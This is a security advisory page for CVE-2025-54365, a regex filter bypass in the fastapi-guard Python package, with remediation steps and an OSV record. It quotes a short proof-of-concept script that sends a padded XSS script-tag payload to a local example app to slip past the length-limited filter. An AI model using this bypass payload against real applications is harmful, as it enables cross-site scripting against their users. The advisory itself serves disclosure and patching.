CVE-2025-54365: Fastapi guard FastAPI Guard Has A Regex Vulnerability

HIGH
Advisory Identifier: GHSA-rrf6-pxg8-684g
CWE-1333 CWE-20 CWE-185
Published
Advisory Summary

CVE-2025-54365 is a HIGH fastapi guard has a regex vulnerability (CWE-1333: Inefficient Regular Expression Complexity) affecting Fastapi guard libraries in the PyPI ecosystem. The issue involves fastapi guard has a regex bypass. Remediation is available by upgrading affected packages to version 3.0.2.

CVE-2025-54365 at a Glance

CVE Identifier CVE-2025-54365
GHSA Identifier GHSA-rrf6-pxg8-684g
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-1333: Inefficient Regular Expression Complexity
Affected Product Fastapi guard
Package Ecosystem PyPI
Published Date
Last Updated

How to Fix CVE-2025-54365

To remediate this vulnerability, upgrade all affected Fastapi guard dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

fastapi-guard fixed: 3.0.2
pip install fastapi-guard>=3.0.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show fastapi-guard

How to Check if You Are Affected

To determine whether your Python environment is affected by CVE-2025-54365, inspect your installed packages using pip:

pip show fastapi-guard

Analyze the terminal output to locate any version of Fastapi guard in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.2), your application is affected.

Note: The pip show fastapi-guard command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-1333: Inefficient Regular Expression Complexity, where the product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential. In Fastapi guard, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit. ### Details In version 3.0.1, you can find a commit like the one in the link below, which was made to prevent ReDoS. https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f This commit mitigates the vulnerability by limiting the length of the input string, as shown in the example below. `r"<script[^>]*>[^<]*<\\/script\\s*>"` -> `<script[^>]{0,100}>[^<]{0,1000}<\\/script\\s{0,10}>` This type of patch fails to catch cases where the string representing the attributes of a <script> tag exceeds 100 characters. Therefore, most of the regex patterns present in version 3.0.1 can be bypassed. ### PoC 1. clone the fastapi-guard repository 2. Navigate to the examples directory and modify the main.py source code. Change the HTTP method for the root route from GET to POST. <img width="1013" height="554" alt="image" src="https://github.com/user-attachments/assets/cf93ea37-2fd7-4251-abb6-b55f88685f54" /> 3. After that, set up the example app environment by running the docker-compose up command. Then, run the Python code below to verify that the two requests return different results. ```python import requests URL = "<http://localhost:8000>" obvious_payload = { "obvious" : "<script>alert(1);</script>" } response = requests.post(url=URL, json=obvious_payload) print(f"[+] response of first request: {response.text}") bypassed_payload = { "suspicious" : f'<script id="i_can_bypass_regex_filtering{'a'*100}">alert(1)</script>' } response = requests.post(url=URL, json=bypassed_payload) print(f"[+] response of second request: {response.text}") ``` <img width="836" height="112" alt="image" src="https://github.com/user-attachments/assets/11dcccb2-6179-44b1-9628-ae0a787e3bb7" /> ### Impact Due to this vulnerability, most of the regex patterns can potentially be bypassed, making the application vulnerable to attacks such as XSS and SQL Injection.

CVE-2025-54365 Affected Fastapi guard Versions

1 component(s)
Fixed Versions:
3.0.2
Product / Package Ecosystem Affected Versions Fixed Version
fastapi-guard
PyPI
≥ 3.0.1
< 3.0.2
All 1 versions
3.0.1
3.0.2

References

Frequently Asked Questions

What is CVE-2025-54365?
CVE-2025-54365 is a security vulnerability in Fastapi guard involving FastAPI Guard has a regex bypass under CWE-1333: Inefficient Regular Expression Complexity.
Which Fastapi guard versions are affected?
Affected versions include releases prior to 3.0.2 across affected packages: fastapi-guard.
What version fixes CVE-2025-54365?
Upgrading to 3.0.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is fastapi-guard affected?
Yes, fastapi-guard is affected in releases prior to 3.0.2. Upgrade your dependency to 3.0.2 or later.
What CWE is associated with CVE-2025-54365?
CVE-2025-54365 is classified under CWE-1333: Inefficient Regular Expression Complexity (The product uses a regular expression with a worst-case computational complexity that is inefficient and possibly exponential.).
How can I check PyPI dependencies for CVE-2025-54365?
Run the dependency tree command: 'pip show fastapi-guard'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-rrf6-pxg8-684g",
  "modified" : "2025-07-24T12:46:22Z",
  "published" : "2025-07-23T15:31:12Z",
  "aliases" : [ "CVE-2025-54365" ],
  "summary" : "FastAPI Guard has a regex bypass",
  "details" : "### Summary\n\nThe regular expression patched to mitigate the ReDoS vulnerability by limiting the length of string fails to catch inputs that exceed this limit.\n\n### Details\n\nIn version 3.0.1, you can find a commit like the one in the link below, which was made to prevent ReDoS.\nhttps://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f\n\nThis commit mitigates the vulnerability by limiting the length of the input string, as shown in the example below.\n`r\"<script[^>]*>[^<]*<\\\\/script\\\\s*>\"` -> `<script[^>]{0,100}>[^<]{0,1000}<\\\\/script\\\\s{0,10}>`\n\nThis type of patch fails to catch cases where the string representing the attributes of a <script> tag exceeds 100 characters.\nTherefore, most of the regex patterns present in version 3.0.1 can be bypassed.\n\n### PoC\n\n1. clone the fastapi-guard repository\n2. Navigate to the examples directory and modify the main.py source code. Change the HTTP method for the root route from GET to POST.\n<img width=\"1013\" height=\"554\" alt=\"image\" src=\"https://github.com/user-attachments/assets/cf93ea37-2fd7-4251-abb6-b55f88685f54\" />\n3. After that, set up the example app environment by running the docker-compose up command. Then, run the Python code below to verify that the two requests return different results.\n\n```python\nimport requests\n\nURL = \"<http://localhost:8000>\"\n\nobvious_payload = {\n    \"obvious\" : \"<script>alert(1);</script>\"\n}\nresponse = requests.post(url=URL, json=obvious_payload)\nprint(f\"[+] response of first request: {response.text}\")\n\nbypassed_payload = {\n    \"suspicious\" : f'<script id=\"i_can_bypass_regex_filtering{'a'*100}\">alert(1)</script>'\n}\n\nresponse = requests.post(url=URL, json=bypassed_payload)\nprint(f\"[+] response of second request: {response.text}\")\n\n```\n<img width=\"836\" height=\"112\" alt=\"image\" src=\"https://github.com/user-attachments/assets/11dcccb2-6179-44b1-9628-ae0a787e3bb7\" />\n\n### Impact\n\nDue to this vulnerability, most of the regex patterns can potentially be bypassed, making the application vulnerable to attacks such as XSS and SQL Injection.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "fastapi-guard"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.1"
      }, {
        "fixed" : "3.0.2"
      } ]
    } ],
    "versions" : [ "3.0.1" ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/rennf93/fastapi-guard/security/advisories/GHSA-rrf6-pxg8-684g"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-54365"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rennf93/fastapi-guard/commit/0829292c322d33dc14ab00c5451c5c138148035a"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/rennf93/fastapi-guard/commit/d9d50e8130b7b434cdc1b001b8cfd03a06729f7f"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/rennf93/fastapi-guard"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-1333", "CWE-185", "CWE-20" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-07-23T15:31:12Z",
    "nvd_published_at" : "2025-07-23T23:15:24Z"
  }
}